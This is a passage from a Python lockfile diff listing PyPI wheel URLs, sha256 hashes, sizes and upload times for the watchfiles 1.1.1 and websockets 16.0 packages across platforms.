"https://files.pythonhosted.org/packages/ce/d2/f5f9fb49489f184f18470d4f99f4e862a4b3e9ac2865688eb2099e3d837a/watchfiles-1.1.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dcc5c24523771db3a294c77d94771abcfcb82a0e0ee8efd910c37c59ec1b31bb", size = 475186, upload-time = "2025-10-14T15:04:53.064Z" }, + { url = "https://files.pythonhosted.org/packages/cf/68/5707da262a119fb06fbe214d82dd1fe4a6f4af32d2d14de368d0349eb52a/watchfiles-1.1.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1db5d7ae38ff20153d542460752ff397fcf5c96090c1230803713cf3147a6803", size = 456812, upload-time = "2025-10-14T15:04:55.174Z" }, + { url = "https://files.pythonhosted.org/packages/66/ab/3cbb8756323e8f9b6f9acb9ef4ec26d42b2109bce830cc1f3468df20511d/watchfiles-1.1.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:28475ddbde92df1874b6c5c8aaeb24ad5be47a11f87cde5a28ef3835932e3e94", size = 630196, upload-time = "2025-10-14T15:04:56.22Z" }, + { url = "https://files.pythonhosted.org/packages/78/46/7152ec29b8335f80167928944a94955015a345440f524d2dfe63fc2f437b/watchfiles-1.1.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:36193ed342f5b9842edd3532729a2ad55c4160ffcfa3700e0d54be496b70dd43", size = 622657, upload-time = "2025-10-14T15:04:57.521Z" }, + { url = "https://files.pythonhosted.org/packages/0a/bf/95895e78dd75efe9a7f31733607f384b42eb5feb54bd2eb6ed57cc2e94f4/watchfiles-1.1.1-cp312-cp312-win32.whl", hash = "sha256:859e43a1951717cc8de7f4c77674a6d389b106361585951d9e69572823f311d9", size = 272042, upload-time = "2025-10-14T15:04:59.046Z" }, + { url = "https://files.pythonhosted.org/packages/87/0a/90eb755f568de2688cb220171c4191df932232c20946966c27a59c400850/watchfiles-1.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:91d4c9a823a8c987cce8fa2690923b069966dabb196dd8d137ea2cede885fde9", size = 288410, upload-time = "2025-10-14T15:05:00.081Z" }, + { url = "https://files.pythonhosted.org/packages/36/76/f322701530586922fbd6723c4f91ace21364924822a8772c549483abed13/watchfiles-1.1.1-cp312-cp312-win_arm64.whl", hash = "sha256:a625815d4a2bdca61953dbba5a39d60164451ef34c88d751f6c368c3ea73d404", size = 278209, upload-time = "2025-10-14T15:05:01.168Z" }, + { url = "https://files.pythonhosted.org/packages/bb/f4/f750b29225fe77139f7ae5de89d4949f5a99f934c65a1f1c0b248f26f747/watchfiles-1.1.1-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:130e4876309e8686a5e37dba7d5e9bc77e6ed908266996ca26572437a5271e18", size = 404321, upload-time = "2025-10-14T15:05:02.063Z" }, + { url = "https://files.pythonhosted.org/packages/2b/f9/f07a295cde762644aa4c4bb0f88921d2d141af45e735b965fb2e87858328/watchfiles-1.1.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:5f3bde70f157f84ece3765b42b4a52c6ac1a50334903c6eaf765362f6ccca88a", size = 391783, upload-time = "2025-10-14T15:05:03.052Z" }, + { url = "https://files.pythonhosted.org/packages/bc/11/fc2502457e0bea39a5c958d86d2cb69e407a4d00b85735ca724bfa6e0d1a/watchfiles-1.1.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:14e0b1fe858430fc0251737ef3824c54027bedb8c37c38114488b8e131cf8219", size = 449279, upload-time = "2025-10-14T15:05:04.004Z" }, + { url = "https://files.pythonhosted.org/packages/e3/1f/d66bc15ea0b728df3ed96a539c777acfcad0eb78555ad9efcaa1274688f0/watchfiles-1.1.1-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f27db948078f3823a6bb3b465180db8ebecf26dd5dae6f6180bd87383b6b4428", size = 459405, upload-time = "2025-10-14T15:05:04.942Z" }, + { url = "https://files.pythonhosted.org/packages/be/90/9f4a65c0aec3ccf032703e6db02d89a157462fbb2cf20dd415128251cac0/watchfiles-1.1.1-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:059098c3a429f62fc98e8ec62b982230ef2c8df68c79e826e37b895bc359a9c0", size = 488976, upload-time = "2025-10-14T15:05:05.905Z" }, + { url = "https://files.pythonhosted.org/packages/37/57/ee347af605d867f712be7029bb94c8c071732a4b44792e3176fa3c612d39/watchfiles-1.1.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:bfb5862016acc9b869bb57284e6cb35fdf8e22fe59f7548858e2f971d045f150", size = 595506, upload-time = "2025-10-14T15:05:06.906Z" }, + { url = "https://files.pythonhosted.org/packages/a8/78/cc5ab0b86c122047f75e8fc471c67a04dee395daf847d3e59381996c8707/watchfiles-1.1.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:319b27255aacd9923b8a276bb14d21a5f7ff82564c744235fc5eae58d95422ae", size = 474936, upload-time = "2025-10-14T15:05:07.906Z" }, + { url = "https://files.pythonhosted.org/packages/62/da/def65b170a3815af7bd40a3e7010bf6ab53089ef1b75d05dd5385b87cf08/watchfiles-1.1.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c755367e51db90e75b19454b680903631d41f9e3607fbd941d296a020c2d752d", size = 456147, upload-time = "2025-10-14T15:05:09.138Z" }, + { url = "https://files.pythonhosted.org/packages/57/99/da6573ba71166e82d288d4df0839128004c67d2778d3b566c138695f5c0b/watchfiles-1.1.1-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:c22c776292a23bfc7237a98f791b9ad3144b02116ff10d820829ce62dff46d0b", size = 630007, upload-time = "2025-10-14T15:05:10.117Z" }, + { url = "https://files.pythonhosted.org/packages/a8/51/7439c4dd39511368849eb1e53279cd3454b4a4dbace80bab88feeb83c6b5/watchfiles-1.1.1-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:3a476189be23c3686bc2f4321dd501cb329c0a0469e77b7b534ee10129ae6374", size = 622280, upload-time = "2025-10-14T15:05:11.146Z" }, + { url = "https://files.pythonhosted.org/packages/95/9c/8ed97d4bba5db6fdcdb2b298d3898f2dd5c20f6b73aee04eabe56c59677e/watchfiles-1.1.1-cp313-cp313-win32.whl", hash = "sha256:bf0a91bfb5574a2f7fc223cf95eeea79abfefa404bf1ea5e339c0c1560ae99a0", size = 272056, upload-time = "2025-10-14T15:05:12.156Z" }, + { url = "https://files.pythonhosted.org/packages/1f/f3/c14e28429f744a260d8ceae18bf58c1d5fa56b50d006a7a9f80e1882cb0d/watchfiles-1.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:52e06553899e11e8074503c8e716d574adeeb7e68913115c4b3653c53f9bae42", size = 288162, upload-time = "2025-10-14T15:05:13.208Z" }, + { url = "https://files.pythonhosted.org/packages/dc/61/fe0e56c40d5cd29523e398d31153218718c5786b5e636d9ae8ae79453d27/watchfiles-1.1.1-cp313-cp313-win_arm64.whl", hash = "sha256:ac3cc5759570cd02662b15fbcd9d917f7ecd47efe0d6b40474eafd246f91ea18", size = 277909, upload-time = "2025-10-14T15:05:14.49Z" }, + { url = "https://files.pythonhosted.org/packages/79/42/e0a7d749626f1e28c7108a99fb9bf524b501bbbeb9b261ceecde644d5a07/watchfiles-1.1.1-cp313-cp313t-macosx_10_12_x86_64.whl", hash = "sha256:563b116874a9a7ce6f96f87cd0b94f7faf92d08d0021e837796f0a14318ef8da", size = 403389, upload-time = "2025-10-14T15:05:15.777Z" }, + { url = "https://files.pythonhosted.org/packages/15/49/08732f90ce0fbbc13913f9f215c689cfc9ced345fb1bcd8829a50007cc8d/watchfiles-1.1.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3ad9fe1dae4ab4212d8c91e80b832425e24f421703b5a42ef2e4a1e215aff051", size = 389964, upload-time = "2025-10-14T15:05:16.85Z" }, + { url = "https://files.pythonhosted.org/packages/27/0d/7c315d4bd5f2538910491a0393c56bf70d333d51bc5b34bee8e68e8cea19/watchfiles-1.1.1-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ce70f96a46b894b36eba678f153f052967a0d06d5b5a19b336ab0dbbd029f73e", size = 448114, upload-time = "2025-10-14T15:05:17.876Z" }, + { url = "https://files.pythonhosted.org/packages/c3/24/9e096de47a4d11bc4df41e9d1e61776393eac4cb6eb11b3e23315b78b2cc/watchfiles-1.1.1-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:cb467c999c2eff23a6417e58d75e5828716f42ed8289fe6b77a7e5a91036ca70", size = 460264, upload-time = "2025-10-14T15:05:18.962Z" }, + { url = "https://files.pythonhosted.org/packages/cc/0f/e8dea6375f1d3ba5fcb0b3583e2b493e77379834c74fd5a22d66d85d6540/watchfiles-1.1.1-cp313-cp313t-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:836398932192dae4146c8f6f737d74baeac8b70ce14831a239bdb1ca882fc261", size = 487877, upload-time = "2025-10-14T15:05:20.094Z" }, + { url = "https://files.pythonhosted.org/packages/ac/5b/df24cfc6424a12deb41503b64d42fbea6b8cb357ec62ca84a5a3476f654a/watchfiles-1.1.1-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:743185e7372b7bc7c389e1badcc606931a827112fbbd37f14c537320fca08620", size = 595176, upload-time = "2025-10-14T15:05:21.134Z" }, + { url = "https://files.pythonhosted.org/packages/8f/b5/853b6757f7347de4e9b37e8cc3289283fb983cba1ab4d2d7144694871d9c/watchfiles-1.1.1-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:afaeff7696e0ad9f02cbb8f56365ff4686ab205fcf9c4c5b6fdfaaa16549dd04", size = 473577, upload-time = "2025-10-14T15:05:22.306Z" }, + { url = "https://files.pythonhosted.org/packages/e1/f7/0a4467be0a56e80447c8529c9fce5b38eab4f513cb3d9bf82e7392a5696b/watchfiles-1.1.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3f7eb7da0eb23aa2ba036d4f616d46906013a68caf61b7fdbe42fc8b25132e77", size = 455425, upload-time = "2025-10-14T15:05:23.348Z" }, + { url = "https://files.pythonhosted.org/packages/8e/e0/82583485ea00137ddf69bc84a2db88bd92ab4a6e3c405e5fb878ead8d0e7/watchfiles-1.1.1-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:831a62658609f0e5c64178211c942ace999517f5770fe9436be4c2faeba0c0ef", size = 628826, upload-time = "2025-10-14T15:05:24.398Z" }, + { url = "https://files.pythonhosted.org/packages/28/9a/a785356fccf9fae84c0cc90570f11702ae9571036fb25932f1242c82191c/watchfiles-1.1.1-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:f9a2ae5c91cecc9edd47e041a930490c31c3afb1f5e6d71de3dc671bfaca02bf", size = 622208, upload-time = "2025-10-14T15:05:25.45Z" }, + { url = "https://files.pythonhosted.org/packages/c3/f4/0872229324ef69b2c3edec35e84bd57a1289e7d3fe74588048ed8947a323/watchfiles-1.1.1-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:d1715143123baeeaeadec0528bb7441103979a1d5f6fd0e1f915383fea7ea6d5", size = 404315, upload-time = "2025-10-14T15:05:26.501Z" }, + { url = "https://files.pythonhosted.org/packages/7b/22/16d5331eaed1cb107b873f6ae1b69e9ced582fcf0c59a50cd84f403b1c32/watchfiles-1.1.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:39574d6370c4579d7f5d0ad940ce5b20db0e4117444e39b6d8f99db5676c52fd", size = 390869, upload-time = "2025-10-14T15:05:27.649Z" }, + { url = "https://files.pythonhosted.org/packages/b2/7e/5643bfff5acb6539b18483128fdc0ef2cccc94a5b8fbda130c823e8ed636/watchfiles-1.1.1-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7365b92c2e69ee952902e8f70f3ba6360d0d596d9299d55d7d386df84b6941fb", size = 449919, upload-time = "2025-10-14T15:05:28.701Z" }, + { url = "https://files.pythonhosted.org/packages/51/2e/c410993ba5025a9f9357c376f48976ef0e1b1aefb73b97a5ae01a5972755/watchfiles-1.1.1-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bfff9740c69c0e4ed32416f013f3c45e2ae42ccedd1167ef2d805c000b6c71a5", size = 460845, upload-time = "2025-10-14T15:05:30.064Z" }, + { url = "https://files.pythonhosted.org/packages/8e/a4/2df3b404469122e8680f0fcd06079317e48db58a2da2950fb45020947734/watchfiles-1.1.1-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b27cf2eb1dda37b2089e3907d8ea92922b673c0c427886d4edc6b94d8dfe5db3", size = 489027, upload-time = "2025-10-14T15:05:31.064Z" }, + { url = "https://files.pythonhosted.org/packages/ea/84/4587ba5b1f267167ee715b7f66e6382cca6938e0a4b870adad93e44747e6/watchfiles-1.1.1-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:526e86aced14a65a5b0ec50827c745597c782ff46b571dbfe46192ab9e0b3c33", size = 595615, upload-time = "2025-10-14T15:05:32.074Z" }, + { url = "https://files.pythonhosted.org/packages/6a/0f/c6988c91d06e93cd0bb3d4a808bcf32375ca1904609835c3031799e3ecae/watchfiles-1.1.1-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:04e78dd0b6352db95507fd8cb46f39d185cf8c74e4cf1e4fbad1d3df96faf510", size = 474836, upload-time = "2025-10-14T15:05:33.209Z" }, + { url = "https://files.pythonhosted.org/packages/b4/36/ded8aebea91919485b7bbabbd14f5f359326cb5ec218cd67074d1e426d74/watchfiles-1.1.1-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5c85794a4cfa094714fb9c08d4a218375b2b95b8ed1666e8677c349906246c05", size = 455099, upload-time = "2025-10-14T15:05:34.189Z" }, + { url = "https://files.pythonhosted.org/packages/98/e0/8c9bdba88af756a2fce230dd365fab2baf927ba42cd47521ee7498fd5211/watchfiles-1.1.1-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:74d5012b7630714b66be7b7b7a78855ef7ad58e8650c73afc4c076a1f480a8d6", size = 630626, upload-time = "2025-10-14T15:05:35.216Z" }, + { url = "https://files.pythonhosted.org/packages/2a/84/a95db05354bf2d19e438520d92a8ca475e578c647f78f53197f5a2f17aaf/watchfiles-1.1.1-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:8fbe85cb3201c7d380d3d0b90e63d520f15d6afe217165d7f98c9c649654db81", size = 622519, upload-time = "2025-10-14T15:05:36.259Z" }, + { url = "https://files.pythonhosted.org/packages/1d/ce/d8acdc8de545de995c339be67711e474c77d643555a9bb74a9334252bd55/watchfiles-1.1.1-cp314-cp314-win32.whl", hash = "sha256:3fa0b59c92278b5a7800d3ee7733da9d096d4aabcfabb9a928918bd276ef9b9b", size = 272078, upload-time = "2025-10-14T15:05:37.63Z" }, + { url = "https://files.pythonhosted.org/packages/c4/c9/a74487f72d0451524be827e8edec251da0cc1fcf111646a511ae752e1a3d/watchfiles-1.1.1-cp314-cp314-win_amd64.whl", hash = "sha256:c2047d0b6cea13b3316bdbafbfa0c4228ae593d995030fda39089d36e64fc03a", size = 287664, upload-time = "2025-10-14T15:05:38.95Z" }, + { url = "https://files.pythonhosted.org/packages/df/b8/8ac000702cdd496cdce998c6f4ee0ca1f15977bba51bdf07d872ebdfc34c/watchfiles-1.1.1-cp314-cp314-win_arm64.whl", hash = "sha256:842178b126593addc05acf6fce960d28bc5fae7afbaa2c6c1b3a7b9460e5be02", size = 277154, upload-time = "2025-10-14T15:05:39.954Z" }, + { url = "https://files.pythonhosted.org/packages/47/a8/e3af2184707c29f0f14b1963c0aace6529f9d1b8582d5b99f31bbf42f59e/watchfiles-1.1.1-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:88863fbbc1a7312972f1c511f202eb30866370ebb8493aef2812b9ff28156a21", size = 403820, upload-time = "2025-10-14T15:05:40.932Z" }, + { url = "https://files.pythonhosted.org/packages/c0/ec/e47e307c2f4bd75f9f9e8afbe3876679b18e1bcec449beca132a1c5ffb2d/watchfiles-1.1.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:55c7475190662e202c08c6c0f4d9e345a29367438cf8e8037f3155e10a88d5a5", size = 390510, upload-time = "2025-10-14T15:05:41.945Z" }, + { url = "https://files.pythonhosted.org/packages/d5/a0/ad235642118090f66e7b2f18fd5c42082418404a79205cdfca50b6309c13/watchfiles-1.1.1-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3f53fa183d53a1d7a8852277c92b967ae99c2d4dcee2bfacff8868e6e30b15f7", size = 448408, upload-time = "2025-10-14T15:05:43.385Z" }, + { url = "https://files.pythonhosted.org/packages/df/85/97fa10fd5ff3332ae17e7e40e20784e419e28521549780869f1413742e9d/watchfiles-1.1.1-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6aae418a8b323732fa89721d86f39ec8f092fc2af67f4217a2b07fd3e93c6101", size = 458968, upload-time = "2025-10-14T15:05:44.404Z" }, + { url = "https://files.pythonhosted.org/packages/47/c2/9059c2e8966ea5ce678166617a7f75ecba6164375f3b288e50a40dc6d489/watchfiles-1.1.1-cp314-cp314t-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f096076119da54a6080e8920cbdaac3dbee667eb91dcc5e5b78840b87415bd44", size = 488096, upload-time = "2025-10-14T15:05:45.398Z" }, + { url = "https://files.pythonhosted.org/packages/94/44/d90a9ec8ac309bc26db808a13e7bfc0e4e78b6fc051078a554e132e80160/watchfiles-1.1.1-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:00485f441d183717038ed2e887a7c868154f216877653121068107b227a2f64c", size = 596040, upload-time = "2025-10-14T15:05:46.502Z" }, + { url = "https://files.pythonhosted.org/packages/95/68/4e3479b20ca305cfc561db3ed207a8a1c745ee32bf24f2026a129d0ddb6e/watchfiles-1.1.1-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a55f3e9e493158d7bfdb60a1165035f1cf7d320914e7b7ea83fe22c6023b58fc", size = 473847, upload-time = "2025-10-14T15:05:47.484Z" }, + { url = "https://files.pythonhosted.org/packages/4f/55/2af26693fd15165c4ff7857e38330e1b61ab8c37d15dc79118cdba115b7a/watchfiles-1.1.1-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8c91ed27800188c2ae96d16e3149f199d62f86c7af5f5f4d2c61a3ed8cd3666c", size = 455072, upload-time = "2025-10-14T15:05:48.928Z" }, + { url = "https://files.pythonhosted.org/packages/66/1d/d0d200b10c9311ec25d2273f8aad8c3ef7cc7ea11808022501811208a750/watchfiles-1.1.1-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:311ff15a0bae3714ffb603e6ba6dbfba4065ab60865d15a6ec544133bdb21099", size = 629104, upload-time = "2025-10-14T15:05:49.908Z" }, + { url = "https://files.pythonhosted.org/packages/e3/bd/fa9bb053192491b3867ba07d2343d9f2252e00811567d30ae8d0f78136fe/watchfiles-1.1.1-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:a916a2932da8f8ab582f242c065f5c81bed3462849ca79ee357dd9551b0e9b01", size = 622112, upload-time = "2025-10-14T15:05:50.941Z" }, + { url = "https://files.pythonhosted.org/packages/d3/8e/e500f8b0b77be4ff753ac94dc06b33d8f0d839377fee1b78e8c8d8f031bf/watchfiles-1.1.1-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:db476ab59b6765134de1d4fe96a1a9c96ddf091683599be0f26147ea1b2e4b88", size = 408250, upload-time = "2025-10-14T15:06:10.264Z" }, + { url = "https://files.pythonhosted.org/packages/bd/95/615e72cd27b85b61eec764a5ca51bd94d40b5adea5ff47567d9ebc4d275a/watchfiles-1.1.1-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:89eef07eee5e9d1fda06e38822ad167a044153457e6fd997f8a858ab7564a336", size = 396117, upload-time = "2025-10-14T15:06:11.28Z" }, + { url = "https://files.pythonhosted.org/packages/c9/81/e7fe958ce8a7fb5c73cc9fb07f5aeaf755e6aa72498c57d760af760c91f8/watchfiles-1.1.1-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ce19e06cbda693e9e7686358af9cd6f5d61312ab8b00488bc36f5aabbaf77e24", size = 450493, upload-time = "2025-10-14T15:06:12.321Z" }, + { url = "https://files.pythonhosted.org/packages/6e/d4/ed38dd3b1767193de971e694aa544356e63353c33a85d948166b5ff58b9e/watchfiles-1.1.1-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3e6f39af2eab0118338902798b5aa6664f46ff66bc0280de76fca67a7f262a49", size = 457546, upload-time = "2025-10-14T15:06:13.372Z" }, +] + +[[package]] +name = "websockets" +version = "16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/04/24/4b2031d72e840ce4c1ccb255f693b15c334757fc50023e4db9537080b8c4/websockets-16.0.tar.gz", hash = "sha256:5f6261a5e56e8d5c42a4497b364ea24d94d9563e8fbd44e78ac40879c60179b5", size = 179346, upload-time = "2026-01-10T09:23:47.181Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f2/db/de907251b4ff46ae804ad0409809504153b3f30984daf82a1d84a9875830/websockets-16.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:31a52addea25187bde0797a97d6fc3d2f92b6f72a9370792d65a6e84615ac8a8", size = 177340, upload-time = "2026-01-10T09:22:34.539Z" }, + { url = "https://files.pythonhosted.org/packages/f3/fa/abe89019d8d8815c8781e90d697dec52523fb8ebe308bf11664e8de1877e/websockets-16.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:417b28978cdccab24f46400586d128366313e8a96312e4b9362a4af504f3bbad", size = 175022, upload-time = "2026-01-10T09:22:36.332Z" }, + { url = "https://files.pythonhosted.org/packages/58/5d/88ea17ed1ded2079358b40d31d48abe90a73c9e5819dbcde1606e991e2ad/websockets-16.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:af80d74d4edfa3cb9ed973a0a5ba2b2a549371f8a741e0800cb07becdd20f23d", size = 175319, upload-time = "2026-01-10T09:22:37.602Z" }, + { url = "https://files.pythonhosted.org/packages/d2/ae/0ee92b33087a33632f37a635e11e1d99d429d3d323329675a6022312aac2/websockets-16.0-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:08d7af67b64d29823fed316505a89b86705f2b7981c07848fb5e3ea3020c1abe", size = 184631, upload-time = "2026-01-10T09:22:38.789Z" }, + { url = "https://files.pythonhosted.org/packages/c8/c5/27178df583b6c5b31b29f526ba2da5e2f864ecc79c99dae630a85d68c304/websockets-16.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7be95cfb0a4dae143eaed2bcba8ac23f4892d8971311f1b06f3c6b78952ee70b", size = 185870, upload-time = "2026-01-10T09:22:39.893Z" }, + { url = "https://files.pythonhosted.org/packages/87/05/536652aa84ddc1c018dbb7e2c4cbcd0db884580bf8e95aece7593fde526f/websockets-16.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d6297ce39ce5c2e6feb13c1a996a2ded3b6832155fcfc920265c76f24c7cceb5", size = 185361, upload-time = "2026-01-10T09:22:41.016Z" }, + { url = "https://files.pythonhosted.org/packages/6d/e2/d5332c90da12b1e01f06fb1b85c50cfc489783076547415bf9f0a659ec19/websockets-16.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1c1b30e4f497b0b354057f3467f56244c603a79c0d1dafce1d16c283c25f6e64", size = 184615, upload-time = "2026-01-10T09:22:42.442Z" }, + { url = "https://files.pythonhosted.org/packages/77/fb/d3f9576691cae9253b51555f841bc6600bf0a983a461c79500ace5a5b364/websockets-16.0-cp311-cp311-win32.whl", hash = "sha256:5f451484aeb5cafee1ccf789b1b66f535409d038c56966d6101740c1614b86c6", size = 178246, upload-time = "2026-01-10T09:22:43.654Z" }, + { url = "https://files.pythonhosted.org/packages/54/67/eaff76b3dbaf18dcddabc3b8c1dba50b483761cccff67793897945b37408/websockets-16.0-cp311-cp311-win_amd64.whl", hash = "sha256:8d7f0659570eefb578dacde98e24fb60af35350193e4f56e11190787bee77dac", size = 178684, upload-time = "2026-01-10T09:22:44.941Z" }, + { url = "https://files.pythonhosted.org/packages/84/7b/bac442e6b96c9d25092695578dda82403c77936104b5682307bd4deb1ad4/websockets-16.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:71c989cbf3254fbd5e84d3bff31e4da39c43f884e64f2551d14bb3c186230f00", size = 177365, upload-time = "2026-01-10T09:22:46.787Z" }, + { url = "https://files.pythonhosted.org/packages/b0/fe/136ccece61bd690d9c1f715baaeefd953bb2360134de73519d5df19d29ca/websockets-16.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:8b6e209ffee39ff1b6d0fa7bfef6de950c60dfb91b8fcead17da4ee539121a79", size = 175038, upload-time = "2026-01-10T09:22:47.999Z" }, + { url = "https://files.pythonhosted.org/packages/40/1e/9771421ac2286eaab95b8575b0cb701ae3663abf8b5e1f64f1fd90d0a673/websockets-16.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:86890e837d61574c92a97496d590968b23c2ef0aeb8a9bc9421d174cd378ae39", size = 175328, upload-time = "2026-01-10T09:22:49.809Z" }, + { url = "https://files.pythonhosted.org/packages/18/29/71729b4671f21e1eaa5d6573031ab810ad2936c8175f03f97f3ff164c802/websockets-16.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:9b5aca38b67492ef518a8ab76851862488a478602229112c4b0d58d63a7a4d5c", size = 184915, upload-time = "2026-01-10T09:22:51.071Z" }, + { url = "https://files.pythonhosted.org/packages/97/bb/21c36b7dbbafc85d2d480cd65df02a1dc93bf76d97147605a8e27ff9409d/websockets-16.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e0334872c0a37b606418ac52f6ab9cfd17317ac26365f7f65e203e2d0d0d359f", size = 186152, upload-time = "2026-01-10T09:22:52.224Z" }, + { url = "https://files.pythonhosted.org/packages/4a/34/9bf8df0c0cf88fa7bfe36678dc7b02970c9a7d5e065a3099292db87b1be2/websockets-16.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a0b31e0b424cc6b5a04b8838bbaec1688834b2383256688cf47eb97412531da1", size = 185583, upload-time = "2026-01-10T09:22:53.443Z" }, + { url = "https://files.pythonhosted.org/packages/47/88/4dd516068e1a3d6ab3c7c183288404cd424a9a02d585efbac226cb61ff2d/websockets-16.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:485c49116d0af10ac698623c513c1cc01c9446c058a4e61e3bf6c19dff7335a2", size = 184880, upload-time = "2026-01-10T09:22:55.033Z" }, + { url = "https://files.pythonhosted.org/packages/91/d6/7d4553ad4bf1c0421e1ebd4b18de5d9098383b5caa1d937b63df8d04b565/websockets-16.0-cp312-cp312-win32.whl", hash = "sha256:eaded469f5e5b7294e2bdca0ab06becb6756ea86894a47806456089298813c89", size = 178261, upload-time = "2026-01-10T09:22:56.251Z" }, + { url = "https://files.pythonhosted.org/packages/c3/f0/f3a17365441ed1c27f850a80b2bc680a0fa9505d733fe152fdf5e98c1c0b/websockets-16.0-cp312-cp312-win_amd64.whl", hash = "sha256:5569417dc80977fc8c2d43a86f78e0a5a22fee17565d78621b6bb264a115d4ea", size = 178693, upload-time = "2026-01-10T09:22:57.478Z" }, + { url = "https://files.pythonhosted.org/packages/cc/9c/baa8456050d1c1b08dd0ec7346026668cbc6f145ab4e314d707bb845bf0d/websockets-16.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:878b336ac47938b474c8f982ac2f7266a540adc3fa4ad74ae96fea9823a02cc9", size = 177364, upload-time = "2026-01-10T09:22:59.333Z" }, + { url = "https://files.pythonhosted.org/packages/7e/0c/8811fc53e9bcff68fe7de2bcbe75116a8d959ac699a3200f4847a8925210/websockets-16.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:52a0fec0e6c8d9a784c2c78276a48a2bdf099e4ccc2a4cad53b27718dbfd0230", size = 175039, upload-time = "2026-01-10T09:23:01.171Z" }, + { url = "https://files.pythonhosted.org/packages/aa/82/39a5f910cb99ec0b59e482971238c845af9220d3ab9fa76dd9162cda9d62/websockets-16.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:e6578ed5b6981005df1860a56e3617f14a6c307e6a71b4fff8c48fdc50f3ed2c", size = 175323, upload-time = "2026-01-10T09:23:02.341Z" }, + { url = "https://files.pythonhosted.org/packages/bd/28/0a25ee5342eb5d5f297d992a77e56892ecb65e7854c7898fb7d35e9b33bd/websockets-16.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = 